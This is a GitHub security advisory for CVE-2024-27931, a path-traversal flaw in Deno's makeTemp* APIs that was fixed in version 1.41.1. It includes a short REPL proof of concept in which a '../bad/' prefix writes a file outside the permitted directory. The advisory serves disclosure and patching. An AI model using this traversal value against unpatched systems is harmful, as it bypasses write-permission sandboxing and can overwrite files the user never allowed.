Skip to content

Insufficient permission checking in `Deno.makeTemp*` APIs

Moderate severity GitHub Reviewed Published Mar 5, 2024 in denoland/deno • Updated Mar 5, 2024

Package

cargo deno (Rust)

Affected versions

< 1.41.1

Patched versions

1.41.1

Description

Impact

Insufficient validation of parameters in Deno.makeTemp* APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.

A user may provide a prefix or suffix to a Deno.makeTemp* API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:

$ mkdir /tmp/good
$ mkdir /tmp/bad
$ deno repl --allow-write=/tmp/good
> Deno.makeTempFileSync({ dir: "/tmp/bad" })
┌ ⚠️  Deno requests write access to "/tmp/bad".
├ Requested by `Deno.makeTempFile()` API.
├ Run again with --allow-write to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n
❌ Denied write access to "/tmp/bad".
Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag
    at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)
    at <anonymous>:1:27
> Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" })
"/tmp/good/../bad/a9432ef5"
$ ls -l /tmp/bad/a9432ef5
-rw-------@ 1 user  group  0 Mar  4 09:20 /tmp/bad/a9432ef5

Patches

This is fixed in Deno 1.41.1.

References

@mmastrac mmastrac published to denoland/deno Mar 5, 2024
Published to the GitHub Advisory Database Mar 5, 2024
Reviewed Mar 5, 2024
Published by the National Vulnerability Database Mar 5, 2024
Last updated Mar 5, 2024

Severity

Moderate
5.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Weaknesses

CVE ID

CVE-2024-27931

GHSA ID

GHSA-hrqr-jv8w-v9jh

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.